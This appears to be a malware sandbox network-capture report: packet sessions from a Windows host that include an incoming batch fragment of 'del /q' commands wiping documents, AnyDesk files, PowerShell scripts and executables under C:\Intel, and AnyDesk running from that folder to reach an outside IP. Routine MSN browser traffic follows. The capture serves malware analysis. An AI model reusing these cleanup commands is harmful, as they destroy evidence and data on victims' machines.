Jan 11, 2025 07:54:13.264967918 CET	866	IN	Data Raw: 45 25 5c 49 6e 74 65 6c 5c 2a 2e 70 64 66 0d 0a 64 65 6c 20 2f 71 20 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 2a 2e 64 6f 63 2a 0d 0a 64 65 6c 20 2f 71 20 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 64 63 2e 65 Data Ascii: E%\Intel\.pdfdel /q %SYSTEMDRIVE%\Intel\.docdel /q %SYSTEMDRIVE%\Intel\dc.exedel /q %SYSTEMDRIVE%\Intel\AnyDesk\.lnkdel /q %SYSTEMDRIVE%\Intel\AnyDesk\*.ps1del /q %SYSTEMDRIVE%\Intel\blat.exedel /q %SYSTEMDRIVE%\Intel\driver.ex

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49767	160.202.165.71	80	2596	C:\Intel\AnyDesk\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:54:14.919289112 CET	274	OUT	Data Raw: 16 03 01 01 0d 01 00 01 09 03 03 c7 36 dc 44 62 b4 19 39 b6 a0 ed 06 0d d2 d1 6e a0 85 25 55 85 d7 79 c1 5e 1c e1 8e 2c f8 56 84 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: 6Db9n%Uy^,Vn0,($kjih98762.*&=5/+'#g@?>32101-)%</r#
Jan 11, 2025 07:54:15.039568901 CET	1235	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 a2 e2 80 e3 b5 14 57 b6 00 6e 4e bf 6f 4e b7 6e 70 f6 ad 64 7b b9 84 cb 44 4f 57 4e 47 52 44 01 20 61 a1 ea 68 c3 fc 07 de 7f 0a 66 8f 86 a7 c7 8a a1 3d b2 e5 78 03 2b ea 31 a0 31 53 e3 ab af 22 c0 2c 00 00 0b ff Data Ascii: WSWnNoNnpd{DOWNGRD ahf=x+11S",OKHE0A0)yA0*H0J10UAnyNet Root CA 21 0Uphilandro Software GmbH10UDE0190227210728Z2902242
Jan 11, 2025 07:54:15.046508074 CET	1094	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 35 30 31 31 31 30 36 35 34 Data Ascii: 000H010UAnyDesk Client0 250111065409Z20741230065409Z010UAnyDesk Client0"0H0"+ 0u&Nk;@{z\|)4/*w<R
Jan 11, 2025 07:54:15.165843964 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 88 c2 e3 d6 21 b2 63 bf c1 64 40 c0 c6 54 85 5d 49 ce d0 1c a4 79 23 75 a0 b7 de 2f 1b d8 77 a2 3b 5a b4 be 21 d1 4c 38 Data Ascii: (!cd@T]Iy#u/w;Z!L8
Jan 11, 2025 07:54:15.166032076 CET	40	IN	Data Raw: 17 03 03 00 23 88 c2 e3 d6 21 b2 63 c0 9c 55 db a2 60 66 73 c2 46 d4 2b 9f 9d b7 9f 1d df 7e d4 1a a9 85 20 20 cf 00 30 Data Ascii: #!cU`fsF+~ 0
Jan 11, 2025 07:54:15.210036993 CET	87	OUT	Data Raw: 17 03 03 00 52 30 53 a3 29 35 37 ad 8b 3b 17 1c c3 60 b9 4a 7f 14 52 eb 38 57 f5 20 4f 87 95 f5 51 87 5f 4a f0 f6 1d 32 d3 26 32 f3 ee b9 f7 cb 79 26 08 e8 22 86 53 b7 1a 4b 15 1a 26 cd dd 85 15 4a cf b4 69 a8 5b 58 8c 3a 6e 81 86 d9 46 aa 4e 94 Data Ascii: R0S)57;`JR8W OQ_J2&2y&"SK&Ji[X:nFN_p
Jan 11, 2025 07:54:15.489640951 CET	146	IN	Data Raw: 17 03 03 00 8d 88 c2 e3 d6 21 b2 63 c1 14 a3 6b 5f f6 15 62 7e 31 34 2f 20 63 09 4d 32 43 03 ef 09 ba 12 dc 69 17 a6 aa 22 5c c1 4e 66 7e 27 e7 f8 7a 5a 38 a7 82 ec ad 71 1d b9 66 01 0f 77 52 f7 13 98 e8 2f 13 50 26 5e 32 5c d1 85 6b c5 ad 9f 3a Data Ascii: !ck_b~14/ cM2Ci"\Nf~'zZ8qfwR/P&^2\k:1,\|PoRL 1Oj2(@N
Jan 11, 2025 07:54:15.783618927 CET	681	OUT	Data Raw: 17 03 03 02 a4 30 53 a3 29 35 37 ad 8c 77 e4 cd 92 fd 13 f6 5a d3 fd cf 3c d9 fc 9a 01 ec 69 a9 8c 2c ba bf 8b f5 77 80 73 e5 30 03 c1 c5 0a 6e 86 df c0 f7 15 65 97 2a f8 c5 ae 36 5c bb d1 43 f2 68 d2 d7 75 24 da 74 83 e2 5f d7 66 95 81 c5 6b 8e Data Ascii: 0S)57wZ<i,ws0ne6\Chu$t_fk`x]s"lG~nSkq!l,Kr\V&=nJ7M_-$Dpt<?YxDz\mIZZ'zp? 7+`H
Jan 11, 2025 07:54:15.783618927 CET	61	OUT	Data Raw: 17 03 03 00 38 30 53 a3 29 35 37 ad 8d 29 b2 b2 5f 4a 69 b1 95 e6 b0 f2 69 58 f3 4d 32 d8 f2 02 7d 0d 85 47 3c 59 85 58 f0 5e 27 37 a3 56 8c e2 c0 f7 51 27 12 9e a8 73 6d 86 f6 61 18 Data Ascii: 80S)57)_JiiXM2}G<YX^'7VQ'sma
Jan 11, 2025 07:54:15.805115938 CET	203	OUT	Data Raw: 17 03 03 00 c6 30 53 a3 29 35 37 ad 8e 2f 51 c2 e9 a6 08 92 6c 38 b6 5a 08 0f d7 a4 24 4e 97 29 a0 ee 8c 23 04 35 3c fb 8e 2d ef 73 78 0f d6 5d 03 56 c4 15 5b 99 62 de b0 9d 9a da f3 8c 85 46 cd 79 4d c2 4b 5a 4a 82 1f b4 e0 0e c9 ab 50 0c f8 84 Data Ascii: 0S)57/Ql8Z$N)#5<-sx]V[bFyMKZJP@ 9dj.tz}!FBU%hu7g.Xi)N=Bq(d>-&lskon{B"+3r\-/i#

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.11.20	50906	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:29 UTC	763	OUT	GET /edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:29 UTC	8839	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 53433 Content-Type: text/html; charset=utf-8 Set-Cookie: _C_ETH=1; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; expires=Mon, 11 Jan 2027 06:54:29 GMT; path=/ Set-Cookie: USRLOC=; expires=Mon, 11 Jan 2027 06:54:29 GMT; domain=.msn.com; path=/; secure; samesite=none; httponly Set-Cookie: MUID=0136911D054E6BFC0E90846C04216AB7; expires=Thu, 05 Feb 2026 06:54:29 GMT; domain=.msn.com; path=/; secure; samesite=none Set-Cookie: MUIDB=0136911D054E6BFC0E90846C04216AB7; expires=Thu, 05 Feb 2026 06:54:29 GMT; path=/; httponly Set-Cookie: _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; domain=.msn.com; path=/; httponly Set-Cookie: _EDGE_V=1; expires=Thu, 05 Feb 2026 06:54:29 GMT; domain=.msn.com; path=/; httponly Access-Control-Allow-Methods: HEAD,GET,OPTIONS Content-Security-Policy: child-src 'self';connect-src 'self' .mavideo.microsoft.com arc.msn.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn browser.events.data.msn.com browser.events.data.msn.cn browser.events.data.microsoftstart.com browser.events.data.microsoftstart.cn business.bing.com/api/ usgov.business.bing.com/api/ cdn.hubblecontent.osi.office.net copilotexplore.azurewebsites.net events-sandbox.data.msn.com events-sandbox.data.msn.cn events-sandbox.data.microsoftstart.com events-sandbox.data.microsoftstart.cn finance-services.msn.com https://.sharepoint.com/_api/v2.0/ https://.sharepoint-df.com/_api/v2.0/ https://.sharepoint.com/_api/v2.1/ https://*.sharepoint-df.com/_api/v2.1/ https://bingretailmsndata.azureedge.net/msndata/ https://browser.pipe.aria.microsoft.com/Collector/ https://dev.virtualearth.net/REST/v1/Imagery/ https://dev.ditu.live.com/REST/v1/Imagery/ https://ecn.dev.virtualearth.net https://jsconfig.adsafeprotected.com https://g.bing.com https://msx.bing.com https://pet [TRUNCATED] X-Robots-Tag: noindex X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=Edge;chrome=1 x-fabric-cluster: pmeprodeus nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]},{"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://deff.nelreports.net/api/report"}]} Strict-Transport-Security: max-age=1209600; includeSubDomains; preload Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Prefers-Color-Scheme, Device-Memory, Downlink, ECT, RTT, Sec-CH-DPR X-Ceto-ref: 678215a5e7af4f58a9a47da360e264f5\|AFD:F7B66E0F99774EE4994A9572D133A3C9\|2025-01-11T06:54:29.225Z X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F7B66E0F99774EE4994A9572D133A3C9 Ref B: CHI30EDGE0213 Ref C: 2025-01-11T06:54:29Z Date: Sat, 11 Jan 2025 06:54:29 GMT Connection: close
2025-01-11 06:54:29 UTC	698	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 20 3e 0d 0a 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 66 3a 6d 73 6e 61 6c 6c 65 78 70 75 73 65 72 73 2c 70 72 67 2d 73 70 2d 6c 69 76 65 61 70 69 2c 70 72 67 2d 66 69 6e 2d 63 6f 6d 70 6f 66 2c 70 72 67 2d 66 69 6e 2d 68 70 6f 66 6c 69 6f 2c 70 72 67 2d 66 69 6e 2d 70 6f 66 6c 69 6f 2c 70 72 67 2d 31 73 77 2d 63 63 2d 63 61 6c 66 65 65 64 69 63 2c 61 64 73 2d 63 66 76 34 2c 31 73 2d 70 6e 70 66 65 64 6c 6f 63 63 66 2c 70 6e 70 77 78 65 78 70 69 72 65 33 36 30 2c 62 69 6e 67 5f 76 32 5f 73 63 6f 70 65 2c 70 72 67 2d 31 73 77 2d 73 61 63 66 78 32 74 63 2c 70 72 67 2d 31 73 77 2d 73 61 2d 63 61 70 63 6f 6e 66 33 74 Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr" ><head data-info="f:msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,ads-cfv4,1s-pnpfedloccf,pnpwxexpire360,bing_v2_scope,prg-1sw-sacfx2tc,prg-1sw-sa-capconf3t
2025-01-11 06:54:29 UTC	436	IN	Data Raw: 70 6f 2d 70 72 67 32 2d 65 76 6c 63 66 70 63 61 70 32 2c 31 73 2d 77 70 6f 2d 70 72 67 32 2d 65 76 6c 63 67 64 64 6e 2c 31 73 2d 77 70 6f 2d 70 72 67 32 2d 65 76 6c 63 74 33 2c 70 72 67 2d 31 73 77 2d 62 67 2d 70 32 2c 70 72 67 2d 31 73 77 2d 63 6d 65 76 6c 74 2c 70 72 67 2d 70 32 2d 74 66 2d 62 64 67 70 76 2d 61 69 2c 70 72 67 2d 70 72 32 2d 66 69 65 70 6c 63 2c 70 72 67 2d 70 72 32 2d 74 72 66 2d 72 68 69 67 68 69 6d 70 2c 70 72 67 2d 70 72 32 2d 77 78 65 76 6f 6c 6e 6f 74 69 2c 70 72 67 2d 75 70 73 61 69 70 2d 77 31 2d 74 2c 31 73 2d 72 70 73 73 65 63 61 75 74 68 74 2c 6a 6a 5f 66 61 63 5f 63 2c 70 72 67 2d 63 67 70 32 2d 68 6f 74 74 32 2c 31 73 2d 63 67 2d 70 32 68 6f 74 33 2c 70 72 67 2d 31 73 77 2d 64 61 69 6c 79 70 6f 70 2c 70 72 67 2d 31 73 77 2d Data Ascii: po-prg2-evlcfpcap2,1s-wpo-prg2-evlcgddn,1s-wpo-prg2-evlct3,prg-1sw-bg-p2,prg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,1s-rpssecautht,jj_fac_c,prg-cgp2-hott2,1s-cg-p2hot3,prg-1sw-dailypop,prg-1sw-
2025-01-11 06:54:29 UTC	4096	IN	Data Raw: 2c 31 73 2d 73 68 70 2d 72 63 2d 74 65 2d 63 72 63 66 61 32 2c 31 73 2d 73 68 70 2d 72 63 2d 74 2d 74 32 69 76 31 2c 31 73 2d 73 68 70 2d 72 63 2d 74 74 2d 74 32 69 76 31 2c 70 72 67 2d 73 68 2d 66 72 6e 72 63 2c 70 72 67 2d 77 78 2d 64 68 67 72 64 2c 70 72 67 2d 73 68 2d 64 65 61 6c 73 64 61 79 70 64 70 2c 70 72 67 2d 73 68 2d 72 6d 69 74 6d 6c 6e 6b 2d 63 2c 6e 6f 70 69 6e 67 6c 61 6e 63 65 63 61 72 64 69 74 2c 70 72 67 2d 63 67 2d 69 6e 67 61 6d 65 73 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 63 67 2d 69 6e 2d 67 6d 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 31 73 2d 77 6f 72 6b 69 64 2c 31 73 2d 6d 78 72 2d 6e 74 70 70 61 67 65 2d 63 2c 31 73 2d 6d 78 72 2d 77 69 6e 66 65 65 64 2c 31 73 2d 74 65 6d 70 2d 77 69 64 2d 74 2c 70 72 67 2d 31 73 2d 74 77 69 64 2c 61 64 Data Ascii: ,1s-shp-rc-te-crcfa2,1s-shp-rc-t-t2iv1,1s-shp-rc-tt-t2iv1,prg-sh-frnrc,prg-wx-dhgrd,prg-sh-dealsdaypdp,prg-sh-rmitmlnk-c,nopinglancecardit,prg-cg-ingames-xn-ads,prg-cg-in-gm-xn-ads,prg-1s-workid,1s-mxr-ntppage-c,1s-mxr-winfeed,1s-temp-wid-t,prg-1s-twid,ad
2025-01-11 06:54:29 UTC	4096	IN	Data Raw: 62 69 6c 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 66 61 6c 73 65 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 64 6f 6d 61 69 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 6f 63 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 4d 4e 48 50 5f 55 35 33 31 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 72 65 71 75 65 73 74 54 72 61 69 6c 49 6e 66 6f 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 66 6c 69 67 68 74 56 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 35 33 35 30 35 32 33 37 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 64 65 74 65 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 69 70 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 38 35 2e 32 34 36 2e 32 30 39 2e 30 26 71 75 6f Data Ascii: bile":"false"}, "domain":"ntp.msn.com", "ocid":"MNHP_U531", "requestTrailInfo":{"flightVersion":"53505237"}, "detection":{"ip":"185.246.209.0&quo
2025-01-11 06:54:29 UTC	4096	IN	Data Raw: 29 2c 31 30 30 29 7d 29 29 7d 29 29 7d 7d 7d 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 26 26 76 6f 69 64 20 30 21 3d 3d 6e 2e 74 75 29 7b 63 6f 6e 73 74 20 65 3d 6e 2e 74 75 3b 6e 2e 74 75 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 29 72 65 74 75 72 6e 20 65 3b 63 6f 6e 73 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 66 6f 22 29 3b 69 66 28 21 28 74 2e 69 6e 64 65 78 4f 66 28 22 6e 74 70 2d 61 66 64 68 33 74 22 29 3e 3d 30 7c 7c 74 2e 69 Data Ascii: ),100)}))}))}}}(),function(){if(void 0!==n&&void 0!==n.tu){const e=n.tu;n.tu=function(t){return e(function(e){if("string"!=typeof e\|\|"undefined"==typeof document)return e;const t=document.head.getAttribute("data-info");if(!(t.indexOf("ntp-afdh3t")>=0\|\|t.i
2025-01-11 06:54:29 UTC	4096	IN	Data Raw: 29 2c 70 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 29 7b 63 6f 6e 73 74 7b 70 63 73 49 6e 66 6f 3a 74 2c 70 61 67 65 47 65 6e 54 69 6d 65 3a 6e 7d 3d 65 2c 6f 3d 6e 65 77 20 44 61 74 65 28 6e 29 2e 67 65 74 54 69 6d 65 28 29 2c 69 3d 21 74 7c 7c 5b 22 70 72 6f 64 22 2c 22 70 72 6f 64 2d 73 73 72 22 2c 22 70 72 6f 64 2d 73 73 72 6e 74 70 22 5d 2e 69 6e 63 6c 75 64 65 73 28 74 2e 65 6e 76 29 3b 46 3d 69 3f 22 62 72 6f 77 73 65 72 2e 65 76 65 6e 74 73 2e 64 61 74 61 2e 6d 73 6e 2e 63 6f 6d 22 3a 22 65 76 65 6e 74 73 2d 73 61 6e 64 62 6f 78 2e 64 61 74 61 2e 6d 73 6e 2e 63 6f 6d 22 3b 72 65 74 75 72 6e 7b 63 6f 72 73 3a 22 74 72 75 65 22 2c 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 73 6f 6e 2d 73 74 Data Ascii: ),p=function(e){if(e){const{pcsInfo:t,pageGenTime:n}=e,o=new Date(n).getTime(),i=!t\|\|["prod","prod-ssr","prod-ssrntp"].includes(t.env);F=i?"browser.events.data.msn.com":"events-sandbox.data.msn.com";return{cors:"true","content-type":"application/x-json-st
2025-01-11 06:54:29 UTC	4096	IN	Data Raw: 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 56 7c 7c 28 56 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 77 69 6e 64 6f 77 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 29 3b 72 65 74 75 72 6e 20 56 7d 63 6f 6e 73 74 20 4b 3d 32 32 33 33 30 30 2c 7a 3d 32 32 33 33 30 31 3b 66 75 6e 63 74 69 6f 6e 20 58 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 6f 28 74 29 3b 69 66 28 6e 29 7b 63 6f 6e 73 74 20 74 3d 6e 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 65 29 2c 6f 3d 74 26 26 74 2e 74 6f 53 74 72 69 6e 67 28 29 3b 72 65 74 75 72 6e 20 74 26 26 22 61 62 6f 75 Data Ascii: ow)\|\|void 0===e?void 0:e.location.search);V\|\|(V=new URLSearchParams(null===(t=window)\|\|void 0===t?void 0:t.location.search));return V}const K=223300,z=223301;function X(e,t){const n=o(t);if(n){const t=n.createScriptURL(e),o=t&&t.toString();return t&&"abou
2025-01-11 06:54:29 UTC	4096	IN	Data Raw: 69 72 65 63 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 64 69 72 65 63 74 65 6e 74 22 2c 22 77 69 6e 70 31 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 6a 75 6e 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 32 6a 75 6e 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 22 2c 22 77 69 6e 70 32 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 22 2c 22 77 69 6e 70 32 66 70 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 65 6e 74 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 68 6f 76 65 72 22 2c 22 77 69 6e 70 32 66 70 74 61 73 6b 62 61 72 68 6f 76 65 72 65 6e 74 22 2c 22 77 69 6e 70 32 77 69 64 67 65 74 22 2c 22 77 69 6e 70 32 77 69 64 67 65 74 65 6e 74 22 5d 29 3b 63 6f 6e 73 74 20 41 65 Data Ascii: irect","winp1taskbardirectent","winp1taskbarent","winp2juntaskbar","winp2juntaskbarent","winp2","winp2ent","winp2fp","winp2fpent","winp2fptaskbar","winp2fptaskbarent","winp2fptaskbarhover","winp2fptaskbarhoverent","winp2widget","winp2widgetent"]);const Ae
2025-01-11 06:54:29 UTC	4096	IN	Data Raw: 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6a 65 28 29 2c 74 3d 21 47 65 28 22 70 72 67 2d 6e 6f 72 65 64 69 72 65 63 74 22 29 26 26 65 26 26 22 31 22 3d 3d 3d 65 2e 67 65 74 49 74 65 6d 28 59 65 29 26 26 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 64 61 74 61 73 65 74 2e 63 6c 69 65 6e 74 53 65 74 74 69 6e 67 73 7c 7c 22 22 2c 7b 62 72 6f 77 73 65 72 3a 74 7d 3d 61 65 28 65 29 7c 7c 7b 7d 2c 7b 62 72 6f 77 73 65 72 54 79 70 65 3a 6e 3d 22 22 7d 3d 74 7c 7c 7b 7d 3b 72 65 74 75 72 6e 21 21 2f 73 61 66 61 72 69 2f 69 2e 74 65 73 74 28 6e 29 7d 28 29 3b 72 65 74 75 72 6e 20 74 7d 29 29 3b 63 6f 6e 73 74 20 69 74 3d 75 28 28 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 6a 65 28 29 3b 72 65 74 75 72 6e 20 65 26 26 22 Data Ascii: )=>{const e=je(),t=!Ge("prg-noredirect")&&e&&"1"===e.getItem(Ye)&&function(){const e=document.head.dataset.clientSettings\|\|"",{browser:t}=ae(e)\|\|{},{browserType:n=""}=t\|\|{};return!!/safari/i.test(n)}();return t}));const it=u((()=>{const e=je();return e&&"
2025-01-11 06:54:29 UTC	4096	IN	Data Raw: 2b 74 68 69 73 2e 71 73 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 2c 22 61 64 73 52 65 66 65 72 65 72 22 29 2b 74 68 69 73 2e 71 73 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 64 28 29 3f 77 69 6e 64 6f 77 2e 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 3a 74 65 28 29 2e 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 74 6f 53 74 72 69 6e 67 28 29 2c 22 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 22 29 7d 71 73 46 72 6f 6d 53 65 72 76 69 63 65 57 6f 72 6b 65 72 28 29 7b 69 66 28 21 6e 61 76 69 67 61 74 6f 72 2e 73 65 72 76 69 63 65 57 6f 72 6b 65 72 7c 7c 21 6e 61 76 69 67 61 74 6f 72 2e 73 65 72 76 69 63 65 57 Data Ascii: +this.qs(encodeURIComponent(window.location.href),"adsReferer")+this.qs(null===(e=d()?window.devicePixelRatio:te().devicePixelRatio)\|\|void 0===e?void 0:e.toString(),"devicePixelRatio")}qsFromServiceWorker(){if(!navigator.serviceWorker\|\|!navigator.serviceW

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.11.20	58637	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:29 UTC	1226	OUT	GET /bundles/v1/edgeChromium/latest/SSR-extension.489618fee28203b75117.js HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Device-Memory: 8 Origin: https://ntp.msn.com sec-ch-ua-model: rtt: 100 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "94.0.992.31" sec-ch-ua-platform-version: "10.0.0" downlink: 1.5 sec-ch-ua-bitness: "64" ect: 4g sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
2025-01-11 06:54:29 UTC	1447	IN	HTTP/1.1 200 OK Cache-Control: public, no-transform, max-age=31535892 Content-Length: 38171 Content-Type: application/javascript Content-MD5: QtoymDLEcWsIYyTkYMRfnA== Last-Modified: Mon, 06 Jan 2025 21:28:59 GMT ETag: 0x8DD2E99220056FE Vary: Origin X-Cache: TCP_HIT x-ms-request-id: 6dc0b040-f01e-0098-6982-60d20e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.218.248.208,b=77963547,c=g,n=US_IL_MOUNTPROSPECT,o=20940] Server-Timing: clientrtt; dur=4, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.218.248.208 Akamai-Request-ID: 4a5a11b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.d0f8da17.1736523012.4a5a11b X-CID: 7 X-CCC: US Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, 